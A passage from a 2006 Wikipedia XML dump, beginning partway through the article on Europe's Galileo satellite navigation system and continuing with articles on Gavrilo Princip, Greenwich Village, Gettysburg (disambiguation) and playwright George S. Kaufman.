The [[European Commission]] had some difficulty trying to secure funding for the next stage of the Galileo project. European states were wary of investing the necessary funds at a time of economic difficulty, when national budgets were being threatened across Europe. Following the [[September 11, 2001 Terrorist Attack]], the United States Government wrote to the European Union opposing the project, arguing that it would end the ability of the US to shut down GPS in times of military operations.  On [[January 17]], [[2002]] a spokesman for the project sombrely stated that &quot;Galileo is almost dead&quot; as a result of US pressure.

A few months later, however, the situation changed dramatically. Partially in reaction to the pressure exerted by the US Government, European Union member states decided it was important to have their own independent satellite-based positioning and timing infrastructure. All European Union member states became strongly in favour of the Galileo system in late 2002 and, as a result, the project actually became over-funded, which posed a completely new set of problems for the ESA, as a way had to be found to convince the Member States to reduce the funding. 

The European Union and European Space Agency then agreed in March 2002 to fund the project, pending a review in 2003 (which was finalised on [[May 26]], [[2003]]). The starting cost for the period ending in 2005 is estimated at [[Euro|EUR]] 1.1 billion. The required satellites&amp;mdash;the planned number is 30&amp;mdash;will be launched throughout the period [[2006]]&amp;ndash;[[2010]] and the system will be up and running and under civilian control from 2010. The final cost is estimated at EUR 3 billion, including the infrastructure on Earth, which is to be constructed in the years [[2006]] and [[2007]].  At least two thirds of the cost will be invested by private companies and investors, the remaining costs are divided between the European Space Agency and the European Union. An encrypted higher bandwidth ''Commercial Service'' with improved accuracy will be available at an extra cost, while the base ''Open Service'' will be freely available to anyone with Galileo compatible receiver.

The European Union has agreed to switch to a range of frequencies known as Binary Offset Carrier 1.1 in [[June 2004]], which will allow both European and American forces to block each other's signals in the battlefield without disabling the entire system.

==International involvement==

In September 2003, [[People's Republic of China|China]] joined the Galileo project. China will invest [[Euro|&amp;euro;]] 230 million ([[United States dollar|USD]] 296 million, [[Pound Sterling|GBP]] 160 million) in the project over the next few years (see external link, below).

In July 2004, [[Israel]] signed an agreement with the EU to become a partner in the Galileo project&lt;ref&gt;[http://www.eu-del.org.il/hebrew/6180%20press%20release%20Israel%2018052005.pdf Press release]&lt;/ref&gt;.

On [[3 June]] [[2005]] the EU and [[Ukraine]] initialled an agreement for Ukraine to join the project, as noted in a press release&lt;ref&gt;[http://europa.eu.int/rapid/pressReleasesAction.do?reference=IP/05/666&amp;format=HTML&amp;aged=0&amp;language=EN&amp;guiLanguage=en Press release] &lt;/ref&gt;.

On [[September 7]] [[2005]], [[India]] signed an agreement to take part in the project and to establish a regional augmentation system based on [[EGNOS]].

As of November 2005, [[Morocco]] and [[Saudi Arabia]] have also joined the program.

On [[January 12]] [[2006]] [[South Korea]] joined the program.

There is speculation that other countries might join the Galileo project, including [[Argentina]], [[Australia]], [[Brazil]], [[Canada]], [[Chile]], [[Japan]],  [[Malaysia]], [[Mexico]], [[Norway]], [[Pakistan]] and [[Russia]]. &lt;ref&gt;http://nww1.com/news/2004/0714israesigns.html [http://www.siliconvalley.com/mld/siliconvalley/business/technology/13124053.htm http://www.siliconvalley.com]&lt;/ref&gt;.

== Political implications of Galileo project ==

As well as being an impressive technological achievement and a hugely practical tool, Galileo will be a political statement of European independence from the United States and its GPS system. A strong motivator for an independent system is that, though GPS is now widely used worldwide for civilian applications, it is a military system, which as recently as 2000 had [[Global_Positioning_System#Selective_availability|selective availability]] that may be enabled in particular areas of coverage during times of war. Galileo's proponents argue that civil infrastructure, including aeroplane navigation and landing, should not rely solely upon GPS.

== System description ==

=== Galileo satellites ===

* 30 spacecraft
* orbital altitude: 23222 km ([[Intermediate circular orbit|MEO]])
* 3 orbital planes, 56° inclination (9 operational satellites and one active spare per orbital plane)
* satellite lifetime: &gt;12 years
* satellite mass: 675 kg
* satellite body dimensions: 2.7 m x 1.2 m x 1.1 m
* span of solar arrays: 18.7 m
* power of solar arrays: 1500 W (end of life)

=== Services ===

There will be four different navigation services available:

* The '''Open Service (OS)''' will be free for anyone to access. The OS signals will be broadcast in two bands, at 1164–1214 MHz and at 1563–1591 MHz. Receivers will achieve an accuracy of &lt;4 m horizontally and &lt;8 m vertically if they use both OS bands. Receivers that use only a single band will still achieve &lt;15 m horizontally and &lt;35 m vertically, comparable to what the civilian GPS C/A service provides today. It is expected that most future mass market receivers, such as [[automotive navigation system]]s, will process both the GPS C/A and the Galileo OS signals, for maximum coverage.

* The encrypted '''Commercial Service (CS)''' will be available for a fee and will offer an accuracy of better than 1 m. The CS can also be complemented by ground stations to bring the accuracy down to less than 10 cm. This signal will be broadcast in three frequency bands, the two used for the OS signals, as well as at 1260–1300 MHz.

* The encrypted '''Public Regulated Service (PRS)''' and '''Safety of Life Service (SoL)''' will both provide an accuracy comparable to the Open Service. Their main aim is robustness against jamming and the reliable detection of problems within 10 seconds. They will be targeted at security authorities (police, military, etc.) and safety-critical transport applications (air-traffic control, automated aircraft landing, etc.), respectively.

In addition, the Galileo satellites will be able to detect and report signals from COSPAS-SARSAT search-and-rescue [[Emergency position-indicating rescue beacon|beacon]]s in the 406.0–406.1 MHz band, which makes them a part of the [[Global Maritime Distress Safety System]].

==Galileo Satellite Test Beds==
The [[European Space Agency|ESA]] and [[Galileo Joint Undertaking|GJU]] sucessfully launched the first of two Galileo In-Orbit Validation Element test satellites, GIOVE-A (GSTB-2A), on [[28 December]] [[2005]] by [[Soyuz launch vehicle]], 05:19 UTC from [[Baikonur]], [[Kazakhstan]]. It began transmitting as planned at 12:51 UTC while circling Earth at a height of 23 222 km. [[GIOVE|GIOVE-A]], built by [[Surrey Satellite Technology Ltd]] (SSTL), is basically a transmitter beacon.  

The first navigational signals from Giove-A were received at [[Chilbolton Observatory]] in [[Hampshire]],  [[UK]] and the ESA Station at [[Libin|Redu]], [[Belgium]] on [[12 January]] [[2006]].

[[GIOVE|GIOVE-B]], built by [[Galileo Industries]], has a more advanced payload which includes two [[atomic clock]]s and is targeted for launch in the spring of 2006. For both test satellites, the primary objective is achieving the [[International Telecommunication Union|ITU]] frequency-filing requirements that require using the allocated transmission frequencies by the deadline date. GIOVE-B also has clock and [[MEO]] environment characterisation objectives, as well as Signal-In-Space and receiver experiments. GIOVE-B will contain a [[rubidium]] atomic clock and the first space-qualified passive hydrogen [[maser]] atomic clock.

== EGNOS ==
The [[European geostationary navigation overlay system]] (EGNOS) is a system of satellites and ground stations designed to increase the accuracy of the current GPS and [[GLONASS]] in Europe.


==See also==
* [[Commercialization of space]]
* [[Multilateration]] - the mathematical technique used for Galileo positioning

==External links==
* [http://europa.eu.int/comm/dgs/energy_transport/galileo EU Galileo Project]
* [http://www.galileoju.com Galileo Joint Undertaking]
* [http://www.galileo-industries.net Galileo Industries]
* [http://www.esa.int/export/esaSA/GGGMX650NDC_navigation_0.html What is Galileo?] - [[European Space Agency|ESA]] article, [[7 October]] [[2003]]
* [http://www.informatics.bangor.ac.uk/~jdl/gnss2004.pdf GPS and Galileo: where are we headed?] ([[Portable Document Format|PDF]]) - [[University of Wales]] Professor David Last, [[24 May]] [[2004]]
* [http://www.galileo-navigation.net/indexe.htm Infoportal about Galileo]

===Press coverage===
* [http://www.wired.com/news/politics/0,1283,49778,00.html Europe GPS Plan Shelved] - [[Wired Magazine]], [[17 January]] [[2002]]
* [http://news.bbc.co.uk/1/hi/sci/tech/1893022.stm Green light for Galileo project] - [[BBC News]], [[26 March]] [[2002]]
* [http://news.bbc.co.uk/1/hi/business/3121682.stm China joins EU's satellite network] - BBC News, [[19 September]] [[2003]]
* [http://news.bbc.co.uk/2/hi/science/nature/3839809.stm EU-US strike sat-navigation deal] - BBC News, [[26 June]] [[2004]]
* [http://svaradarajan.blogspot.com/2004/11/galileo-fusion-energy-propel-india-eu.html Galileo, fusion energy propel India, E.U. `strategic partnership'] - The Hindu [[9 November]] [[2004]] 
* [http://news.bbc.co.uk/2/hi/science/nature/4085651.stm Europe presses ahead on sat-navigation] - BBC News, [[10 December]] [[2004]]
* [http://news.bbc.co.uk/2/hi/science/nature/4115761.stm Four Galileo spacecraft ordered] - BBC News, [[21 December]] [[2004]]
* [http://www.eubusiness.com/Rd/050114131900.dvswih8n Legal battle over rights to name of Galileo satellite navigation system] - EUbusiness, [[14 January]], [[2005]]
* [http://www.caribbeannetnews.com/2005/01/17/system.shtml Barbados firm wins legal battle over name of Galileo satellite navigation system] - CaribbeanNetNews, [[17 January]], [[2005]]
* [http://news.bbc.co.uk/2/hi/science/nature/4308975.stm Dead heat for Galileo companies] - BBC News, [[1 March]] [[2005]]
* [http://news.bbc.co.uk/2/hi/science/nature/4627661.stm Consortia combine to run Galileo] - BBC News, [[27 June]] [[2005]]
* [http://news.bbc.co.uk/1/hi/sci/tech/4555276.stm Q&amp;A: Europe's Galileo project] - BBC News, [[26 December]] [[2005]]
* [http://news.bbc.co.uk/2/hi/science/nature/4555298.stm Europe launches Galileo satellite] - BBC News, [[28 December]] [[2005]]
* [http://news.bbc.co.uk/2/hi/science/nature/4610452.stm First Galileo signals received] - BBC News, [[13 January]] [[2006]]

== References ==

&lt;references/&gt;
 

* The Galileo Project – GALILEO Design consolidation, European Commission, 2003
* Guenter W. Hein, Jeremie Godet, et al: [http://europa.eu.int/comm/dgs/energy_transport/galileo/doc/galileo_stf_ion2002.pdf Status of Galileo Frequency and Signal Design], Proc. [http://www.ion.org/ ION] GPS 2002.
* Jean-Luc Issler, Gunter W. Hein, et al.: [http://www.gpsworld.com/gpsworld/article/articleDetail.jsp?id=61244 Galileo Frequency and Signal Design]. GPS World, vol. 14, no. 6, June, 2003, pp. 30–37.
* Dee Ann Divis: [http://www.globalsecurity.org/org/news/2002/020514-gps.htm Military role for Galileo emerges]. GPS World, May 2002, Vol. 13, No. 5, p. 10.

{{GPS}}

[[Category:European Union]]
[[Category:Satellite navigation systems]]
[[Category:European Space Agency]]

[[bg:Галилео (навигационна система)]]
[[cs:Navigační systém Galileo]]
[[da:Galileo position system]]
[[de:Galileo (Satellitennavigation)]]
[[es:Sistema de posicionamiento Galileo]]
[[fr:Galileo (système de positionnement)]]
[[id:Sistem posisi Galileo]]
[[it:Sistema di posizionamento Galileo]]
[[he:גלילאו (מערכת לווייני ניווט)]]
[[nl:Galileo (navigatie)]]
[[no:Galileo]]
[[pl:Galileo (system nawigacyjny)]]
[[pt:Galileo]]
[[ru:Галилео]]
[[sk:Galileo (navigačný systém)]]
[[fi:Galileo]]
[[sv:Galileo]]
[[tr:Galileo posizyonlama sistemi]]
[[zh:伽利略定位系統]]
[[uk:Галілео]]</text>
    </revision>
  </page>
  <page>
    <title>Gavrilo Princip</title>
    <id>13010</id>
    <revision>
      <id>41785914</id>
      <timestamp>2006-03-01T19:09:45Z</timestamp>
      <contributor>
        <username>Sannya</username>
        <id>763106</id>
      </contributor>
      <minor />
      <comment>hr link</comment>
      <text xml:space="preserve">[[Image:gavrilloprincip.jpg|thumb|200px|right|Gavrilo Princip in prison cell at [[Theresienstadt]]]]

'''Gavrilo Princip''' ([[Serbian language|Serbian]] [[Cyrillic]]:''Гаврило Принцип'') ([[July 25]], [[1894]] &amp;ndash; [[April 28]], [[1918]]) was a [[Bosnia and Herzegovina | Bosnia]]n [[Serb]] committed to South Slav unification who killed [[Franz Ferdinand, Archduke of Austria]], and his wife [[Sophie Chotek|Countess Sophie]] in [[Sarajevo]] on [[June 28]], [[1914]]. The event, known as the [[assassination in Sarajevo]], prompted the [[Austria]]n action against [[Serbia]] that led to [[World War I]]. 

==Early Life==
Princip was born in the village of [[Obljaj]], near [[Bosansko Grahovo]], [[Bosnia and Herzegovina]]. His parents, Petar and Marija ''Nana'' Mičić, had nine children, five sons and four daughters, six of whom died in infancy. His health was poor. From an early age, he suffered from [[tuberculosis]], which was his eventual cause of death in 1918, and was also one of the reasons he let himself kill Archduke Ferdinand in the first place.
Most historians agree that Princip was a member of the [[Black Hand]] (or at the very least trained by the group), but there are some who contend that he was actually a member of the [[Young Bosnia]] (''Mlada Bosna''). The Young Bosnia Movement was a group made up of Serbs, Croats, and Bosniaks, committed to achieving independence for Bosnia.

In February 1912, he took part in protest demonstrations against the Sarajevo authorities for which he was expelled from school. Following his expulsion, he went to [[Belgrade]]. While crossing the border, he made a point of kissing the soil of Serbia. In Belgrade, he sought to gain admission to the First Belgrade [[Gymnasium (school)|Gymnasium]] but failed the entrance exam.

In 1912, Serbia was abuzz with mobilization for the [[First Balkan War]]. Princip planned to join the ''komite'', irregular Serbian guerrilla forces under Serbian Major [[Vojislav Tankosic]] which had fought in [[Macedonia (region)|Macedonia]] against Ottoman units. Tankosic was a member of the central committee of the secret society Unification or Death (''Ujedinjene ili Smrt''). Princip, however, was rejected by the komite in Belgrade because of his small physical stature. He then went to [[Prokuplje]] in southern Serbia where he sought a personal interview with Tankosić. Tankosić, however, rejected Princip for being &quot;too small and too weak.&quot; He was determined to compensate for his lack of physical stature and the underestimation of his abilities that he was subjected to. Dedijer argued that his rejection was &quot;one of the primary personal motives which pushed him to do something exceptionally brave in order to prove to others that he was their equal.&quot;

==Assassination==

===Background===

On [[June 28]], [[1914]] Gavrilo Princip participated in the [[assassination in Sarajevo]]. General [[Oskar Potiorek]], Governor of the Austrian provinces of [[Bosnia-Herzegovina]] had invited Archduke Franz Ferdinand and Sophia to watch his troops on maneuvers. Franz Ferdinand knew that the visit would be dangerous, knowing his uncle, [[Franz Josef I of Austria|Emperor Franz Josef]], had been the subject of an assassination attempt by the Black Hand in 1911. 
[[Image:Princip arrested.jpg|thumb|200px|left|This photo was at one time believed to show Princip's arrest. It was later confirmed it actually depicts the arrest of a German passerby who tried to save Princip from being lynched.]]
The organiser of that plot, [[Dragutin Dimitrijević]], the chief of the Intelligence Department in the Serbian Army and head of the Black Hand, learned that Archduke Franz Ferdinand was planning to visit Sarajevo in June 1914.

Dimitrijevic was concerned about Ferdinand's plans to grant concessions to the South Slavs. Dimitrijevic feared that if this happened, an independent Serbian state would be more difficult to achieve. Therefore, he sent two members of the Black Hand group, [[Nedeljko Čabrinović]] and [[Trifko Grabež]] from Serbia, along with Princip, to assassinate him. They met up with other Black Hand members in Sarajevo, Muhamed Mehmedbašić, Danilo Ilić, Vaso Cubrilović, Cvijetko Popović, Miško Jovanović and Veljko Cubrilović. Each man was armed with a pistol, explosives and a cyanide pill, as each of the assassins had agreed that they would commit suicide after their actions to avoid implicating other members of the plot.

===Timeline===

However, [[Archduke Franz Ferdinand of Austria|Franz Ferdinand]] decided to go to the hospital and visit the victims of Čabrinović's bomb. In order to avoid the city centre, General Oskar Potiorek decided that the royal car should travel straight along the Appel Quay to the Sarajevo Hospital.  However, Potiorek forgot to inform the driver, [[Franz Urban]], about this decision.  On the way to the hospital, Urban took a right turn into Gebet Street.

Gavrilo Princip had gone into Moritz Schiller's cafe for a sandwich, having apparently given up, when he spotted Ferdinand's car as it drove past, having taken the wrong turn. After realizing the mistake, the driver put his foot on the brake, and began to back up. In doing so he moved slowly past the waiting Gavrilo Princip. Gavrilo Princip stepped forward, drew his gun, and at a distance of about five feet, fired several times into the car. Franz Ferdinand was hit in the neck and Sophia in the [[abdomen]]. Sophia, who was later found to be with child at the time of her death, died instantly. Ferdinand, who in disbelief of her death insisted that she wake up, fainted within five minutes and died soon after.

===Capture and imprisonment===

Princip tried to kill himself first by ingesting [[cyanide]], and then with his gun, but he vomited the poison (which Čabrinović had also done, leading the police to believe the group had been deceived and bought a much weaker poison), and the gun was wrestled from his hand before he had a chance to fire another shot. Having been too young at the time of the assassination (19) to face the death penalty, Princip received the maximum sentence of twenty years in prison, where he was held in harsh conditions worsened by the war. He died of [[tuberculosis]] on [[April 28]], [[1918]] at [[Theresienstadt]]. At the time of his death Princip weighed around 40 kilograms (88 pounds). 

===Other Information===

The gun used by Princip was a [[John Browning|Browning]] M 1910 [[semi-automatic pistol]] in 7.65×17mm ([[.32 ACP]]) caliber.  It was recently found and recovered in the home of the Italian Copei family, and is now in display at the [[Heeresgeschichtliches_Museum|Museum of Military History, Vienna, Austria]]. The second bullet fired by Princip, killing Ferdinand, is stored as a museum exhibit in the [[Konopiště]] Castle near the town of [[Benešov]], [[Czech Republic]].

Scottish rock band [[Franz_Ferdinand_(band)|Franz Ferdinand]], in fact named after the archduke, wrote a song about the shooting of their namesake titled &quot;All For You, Sophia&quot;. The lyrics include the following lines: &quot;Bang, bang Gavrilo Princip/Bang, bang shoot me Gavrilo/Bang, bang, the first six are for you/Bang, bang, the seventh is for me&quot;.

[[Category:1894 births|Princip, Gavrilo]]
[[Category:1918 deaths|Princip, Gavrilo]]
[[Category:Regicides|Princip, Gavrilo]]
[[Category:Serbian World War I people|Princip, Gavrilo]]

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[[zh:加夫里若·普林西普]]</text>
    </revision>
  </page>
  <page>
    <title>Greenwich Village</title>
    <id>13011</id>
    <revision>
      <id>41944601</id>
      <timestamp>2006-03-02T20:17:34Z</timestamp>
      <contributor>
        <username>Mareino</username>
        <id>114034</id>
      </contributor>
      <comment>rm {{Infobox London place| (bad code).  add &quot;City&quot; -- there is a Greenwich, NY upstate that happens to be a village</comment>
      <text xml:space="preserve">:''This page is about Greenwich Village in New York City. For other uses see [[Greenwich (disambiguation)]]''


[[Image:Arch in washington square park 02.jpg|thumb|The Washington Square Arch]]
'''Greenwich Village''' (pronounced ''&quot;Grennich&quot;'' Village; also called simply ''the Village'') is a largely residential area on the west side of downtown (southern) [[Manhattan]] in [[New York City]].  

==Location==
The neighborhood is roughly bounded by [[Broadway (Manhattan)|Broadway]] on the east, the [[Hudson River]] on the west, [[Houston Street (Manhattan)|Houston Street]] on the [[south]], and [[14th Street (Manhattan)|14th Street]] on the [[north]].  The neighborhoods surrounding it are the [[East Village, Manhattan|East Village]] to the east, [[SoHo]] to the south, and [[Chelsea, Manhattan|Chelsea]] to the north.  The [[East Village, Manhattan|East Village]], which was formerly known as the [[Bowery]] or north [[Lower East Side]], is occasionally referred to as part of Greenwich Village, but is more properly considered its own neighborhood.

The district was better known as Washington Square in the 19th century.

== Layout ==
[[Image:West4thand12th.JPG|left|thumb|Photo of the intersection of West 4th and West 12th Streets in Greenwich Village (W. 12th runs left-right)]][[Image:West4thand12th3.JPG|right|thumb|Another photo of the intersection]]
As Greenwich Village was once a rural hamlet, entirely separate from New York, its street layout does not coincide with most of Manhattan's more formal [[grid plan]] (based on the [[Commissioners' Plan of 1811]]). Greenwich Village was allowed to keep its street pattern when the plan was implemented, which has resulted in a neighborhood whose streets are dramatically different, in layout, from the ordered structure of other parts of town. Many of the neighborhood's streets are narrow and some curve at odd angles. Additionally, unlike most of Manhattan, streets in the Village typically are named rather than numbered. While there are some numbered streets in the Village, even they do not always conform to the usual grid pattern when they enter the neighborhood. For example, [[West 4th Street (Greenwich Village)|West 4th Street]], which runs east-west outside of the Village, turns and runs north, crossing West 12th Street.

[[Image:Greenwich Village map circa 1860 - Project Gutenberg eText 16907.jpg|thumb|Map of old Greenwich Village. A section of Bernard Ratzer's map of New York and its suburbs, made circa 1866 for [[Henry Moore (governor)|Henry Moore]], Royal Governor of New York, when Greenwich was more than two miles from the city.]]
 
== History ==
Greenwich  Village is located on what was once marshland. In the 16th century Native Americans referred to it as Sapokanikan (&quot;tobacco field&quot;).  The land was cleared and turned into pasture by Dutch settlers in the 1630s who named their settlement Noortwyck. The English conquered the Dutch settlement of New Amsterdam in 1664 and Greenwich Village developed as a hamlet separate from the larger (and fast-growing) Manhattan. It officially became a village in 1712 and is first referred to as Grin'wich in 1713 Common Council records. In 1822, a [[yellow fever]] epidemic in New York encouraged residents to flee to the healthier air of Greenwich Village, and afterwards many stayed. 

Greenwich Village is generally known as an important landmark on the map of [[Bohemianism|bohemian]] culture.  The neighborhood is known for its colorful, artistic residents and the alternative culture they propagate.  Due in part to the progressive attitudes of many of its residents, the Village has traditionally been a focal point of new movements and ideas, whether political, artistic, or cultural. This tradition as an enclave of avant-garde and alternative culture was established by the beginning of the 20th Century when small presses, art galleries, and experimental theater thrived. 

During the golden age of bohemian Greenwich Village became famous for eccentrics such as [[Joe Gould]] (profiled at length by [[Joseph Mitchell]]) and [[Maxwell Bodenheim]], as well as greats on the order of [[Eugene O'Neill]]. Political rebellion also made its home here, whether serious ([[John Reed (journalist)|John Reed]]) or frivolous ([[Marcel Duchamp]] and friends set off balloons from atop Washington Square arch, proclaiming the founding of &quot;The Independent Republic of Greenwich Village&quot;).

The Village again became important to the bohemian scene during the [[1950s]], when the [[Beat Generation]] focused their energies there.  Fleeing from what they saw as oppressive social conformity, a loose collection of writers, poets, artists, and students (later known as the [[Beats]]) moved to Greenwich Village, in many ways creating the East-Coast predecessor to the [[Haight-Ashbury]] hippie scene of the next decade.  The Village (and surrounding New York City) would later play central roles in the writings of [[Jack Kerouac]], [[Allen Ginsberg]], and [[William S. Burroughs]], among others.  
    
Greenwich Village played a major role in the development of the [[folk music]] scene of the 1960s.  Three of the four members of [[The Mamas &amp; the Papas|The Mamas and the Papas]] met there.  Village resident [[Bob Dylan]] was one of the foremost popular songwriters in the country, and often developments in New York City would influence the simultaneously occurring folk-rock movement in [[San Francisco]], and vice versa.  Dozens of other cultural and popular icons got their start in the Village's nightclub, theater, and coffeehouse scene during the 1950's, 1960s, and early 1970s.

In recent days, the Village has maintained its role as a center for movements which have challenged the wider American culture: for example, its role in the [[gay liberation]] movement.  It contains [[Christopher Street]] and the [[Stonewall Inn]], important landmarks, as well as the world's oldest gay and lesbian bookstore, Oscar Wilde Bookshop, founded in 1967.

''See also [[:Category:Greenwich Village Scene]]''

== Present day ==
[[Image:Greenwich Village.jpg|thumb|Greenwich Village]]

Currently, artists and local historians bemoan the fact that the [[Bohemianism|bohemian]] days of Greenwich Village are long gone, because of the extraordinarily high housing costs in the neighborhood.  The artists have fled to [[Brooklyn]], [[Long Island City]], and [[New Jersey]].  Nevertheless, residents of Greenwich Village still possess a strong community identity and are proud of their neighborhood's unique history and fame, and its well-known liberal live-and-let-live attitudes.  Indeed, its cultural uniqueness and apartness are felt so strongly, and so many of its residents' lives are so locally focused, that it is sometimes said thereabouts that &quot;upstate&quot; New York is anywhere north of 14th Street.

Greenwich Village includes the primary campus for [[New York University]] (NYU), [[The New School]], and [[Yeshiva University]]'s [[Benjamin N. Cardozo School of Law]]. [[Cooper Union]] is located in neighboring East Village.

The historic [[Washington Square Park]] is the center and heart of the neighborhood, but the Village has several other, smaller parks: Father Fagan, Minetta Triangle, Petrosino Square, Little Red Square, and Time Landscape.  There are also city playgrounds, including Desalvio, Minetta, Thompson Street, Bleecker Street, Downing Street, Mercer Street, and William Passannante Ballfield.  Perhaps the most famous, though, is &quot;The Cage&quot;, officially known as the [[West 4th street courts|West 4th Street Courts]].  Sitting on top of the [[West Fourth Street-Washington Square (IND Sixth Avenue Line station)|West 4th Street]] subway station at 6th Avenue that serves the A-B-C-D-E-F-V trains, the courts are easily accessible to [[basketball]] and [[American handball]] players from all over New York.  The Cage has become one of the most important tournament sites for the city-wide &quot;[[Streetball]]&quot; amateur basketball tournament.

The Village also has a bustling performing arts scene.  It is home to many [[Off-Broadway]] theaters; for instance, [[Blue Man Group]] has taken up residence in the Astor Place Theater.  The [[Village Vanguard]] hosts some of the biggest names in [[jazz]] on a regular basis.  Comedy clubs dot the Village as well, including [[The Boston]] and [[Comedy Cellar]], where many American [[stand-up comedy|stand-up]] comedians got their start.

Each year on October 31, it is home to [[New York's Village Halloween Parade]], a mile-long ad hoc pageant of masqueraders, mummers, drag queens, exhibitionists, drunkards, druggies, puppets and pets that draws an audience of two million from throughout the region, the largest Halloween event in the country.  The delighted and high-spirited throngs include everyone from the smallest children dressed in the simplest homemade or store-bought costumes on up to adults bedecked in the most elaborate and ingenious guises and disguises that professional and amateur costume designers and makeup artists can conceive and create with a year's notice.

Several publications have offices in the Village, most notably the newsweekly ''[[The Village Voice]]''.

The [[1994]]-[[2004]] [[NBC]] [[sitcom]] ''[[Friends]]'' takes place in the Village, though it was filmed and produced in [[Hollywood, California]]. The exterior shot of the Friends' apartment building is actually located at Grove Street and Bedford Street in the West Village.

== See also == 
* [[Christopher Street, Manhattan]]
* [[Gay Street, Manhattan]]
* [[The Village Voice]]
* [[East Village]]
* [[New York's Village Halloween Parade]]

== External links ==
* [http://www.joeambrose.net/ Essays on Chelsea Hotel, Iggy Pop,  Beat Generaton]
* [http://www.nyc-architecture.com/GV/GV.htm New York Architecture Images- Greenwich Village]
* [http://www.gvshp.org/history.htm Greenwich Village Society for Historic Preservation]
* [http://www.villagevoice.com/ Village Voice]
* [http://www.nycvisit.com/content/index.cfm?pagePkey=429 Official Tourist map (controversially showing Greenwich Village to include the East Village]
* [http://perrin.olivier.free.fr/new_york_2005/Greenwich%20Village/index.html Gallery of photographs]
* [http://newyorkbirds.free.fr/manhattan/greenwich%20village/index.php Air visit of Greenwich Village in Photographs]
*[http://www.gutenberg.org/etext/16907 Greenwich Village], by [[Anna Alice Chapin]], 1919, from [[Project Gutenberg]]
*[http://www.nytimes.com/ref/travel/NABE-EASTVILL.html East Village highlights]

{{New York City}}
[[Category:Gay villages]]
[[Category:Manhattan neighborhoods]]
[[Category:Greenwich Village Scene]]

[[de:Greenwich Village]]
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[[sv:Greenwich Village]]</text>
    </revision>
  </page>
  <page>
    <title>Gettysburg</title>
    <id>13012</id>
    <revision>
      <id>41029128</id>
      <timestamp>2006-02-24T16:21:47Z</timestamp>
      <contributor>
        <username>NoIdeaNick</username>
        <id>667753</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/206.15.228.207|206.15.228.207]] to last version by David Kernow</comment>
      <text xml:space="preserve">'''Gettysburg''' may refer to:
__NOTOC__
===Places===
* [[Gettysburg, Pennsylvania]]
** [[Gettysburg Battlefield]], the National Military Park administered by the National Park Service.
** [[Gettysburg College]], a liberal arts college based in Gettysburg, Pennsylvania.

===Events===
* [[Battle of Gettysburg]], a battle during the American Civil War that took place at Gettysburg, Pennsylvania.
* [[Gettysburg Address]], a famous speech made by President Abraham Lincoln at Gettysburg, Pennsylvania, a few months after the Battle of Gettysburg.
===Entertainment===
* ''[[Gettysburg (film)|Gettysburg]]'', a 1993 movie portraying the Battle of Gettysburg.
*''[[Sid Meier's Gettysburg!]]'', a computer game based on the Battle of Gettysburg.


{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>George S. Kaufman</title>
    <id>13015</id>
    <revision>
      <id>41980886</id>
      <timestamp>2006-03-03T00:49:14Z</timestamp>
      <contributor>
        <ip>85.165.81.80</ip>
      </contributor>
      <comment>+ no</comment>
      <text xml:space="preserve">'''George Simon Kaufman''' ([[November 16]], [[1889]] - [[June 2]], [[1961]]) was a [[playwright]], director, producer, humorist, and drama critic noted for his many collaborations with other writers and his contributions to 20th century American comedy.

Born in [[Pittsburgh, Pennsylvania]] to a [[Jewish]] family, Kaufman wrote very few plays alone. His most successful solo script was ''The Butter and Egg Man'', [[1925]].  As a collaborator, Kaufman was prolific: with [[Marc Connelly]] he wrote ''Merton of the Movies'', [[Dulcy]], and ''[[Beggar on Horseback]]''; with [[Ring Lardner]] he wrote ''[[June Moon]]''; with [[Edna Ferber]] he wrote ''[[The Royal Family]]'', ''[[Dinner at Eight]]'', and ''[[Stage Door]]''; with [[John P. Marquand]] he wrote a stage adaptation of Marquand's novel ''[[The Late George Apley]]''; and with Howard Teichmann he wrote ''[[The Solid Gold Cadillac]]''.

His most successful collaborations were with [[Moss Hart]], with whom he wrote several plays, including ''[[Once in a Lifetime]]'', ''[[You Can't Take It With You]]'', which won the [[Pulitzer Prize]] in [[1936]], and ''[[The Man Who Came to Dinner]]'', whose lead character was based on critic and wit [[Alexander Woollcott]]. These three plays so solidified Kaufman's reputation as the writer of wise-cracking, carefully structured, commercial comedy, that the diversity and scope of his long career is often overlooked.

Despite his claims that he knew nothing of music, and, in fact, hated it in the theatre, Kaufman collaborated on many musicals. His most successful include ''[[The Cocoanuts]]'', written with [[Irving Berlin]] for the [[Marx Brothers]], ''[[Animal Crackers]]'', also written for the Marx Brothers, with [[Morrie Ryskind]], [[Bert Kalmar]], and [[Harry Ruby]], ''[[Of Thee I Sing]]'' ([[Pulitzer Prize]] [[1931]]), and ''[[Let 'Em Eat Cake]]'' which had incarnations with Ryskind, [[Ira Gershwin]], and [[George Gershwin]].  Although Kaufman skewered the film industry in his plays and prose pieces, he did occasional work for Hollywood, most significantly as a writer of ''[[A Night at the Opera]]'' for the Marx Brothers.

Kaufman was also a noted director, staging the original productions of ''[[The Front Page]]'' by [[Charles MacArthur]] and [[Ben Hecht]], ''[[Of Mice and Men]]'' by [[John Steinbeck]], and the [[Frank Loesser]] musical ''[[Guys and Dolls]]'' for which he won the 1951 Best Director [[Tony Award]]. Kaufman produced many of his own plays as well as those of other writers. 

Kaufman was a key member of the celebrated [[Algonquin Round Table]], a circle of witty writers and show business people. From the 1920's through the 1950's Kaufman was as well known for his personality as he was for his writing. The [[Moss Hart]] autobiography ''Act One'' portrayed Kaufman as a morose and intimidating figure utterly uncomfortable with any expressions of affection between human beings -- in life or on the page. Despite the fact that Kaufman lived in the public eye alongside celebrities and journalists, he was a tireless worker, dedicated to the writing and rehearsal processes. He was particularly revered within the business as a &quot;play doctor.&quot; Late in his life he managed to trade upon his long-developed personna by appearing as a television wag.

Of one unsuccessful comedy he wrote, &quot;There was laughter at the back of the theatre, leading to the belief that someone was telling jokes back there.&quot; Even though he was a sometime satirist, he remarked that &quot;Satire is what closes on Saturday night.&quot; Much of Kaufman's fame occurred due to his mastery of sharp lines such as these, generally referred to in the press as &quot;wise cracks.&quot; However, Kaufman was more than a writer of gags. He created scripts that revealed a mastery of dramatic structure; his characters were likable and theatrically credible.

Kaufman was a pivotal figure in the development of theatrical writing in the 20th century, working with collaborators who were rooted in [[vaudeville]], in musical comedy, in film, in journalism, in prose fiction, in television, in revue, and in the commercial Broadway theatre. Despite his many collaborators, Kaufman's opus has a characteristic voice and tone. His character-driven style of comic dialogue has had lasting influences on theatrical writing in many genres.

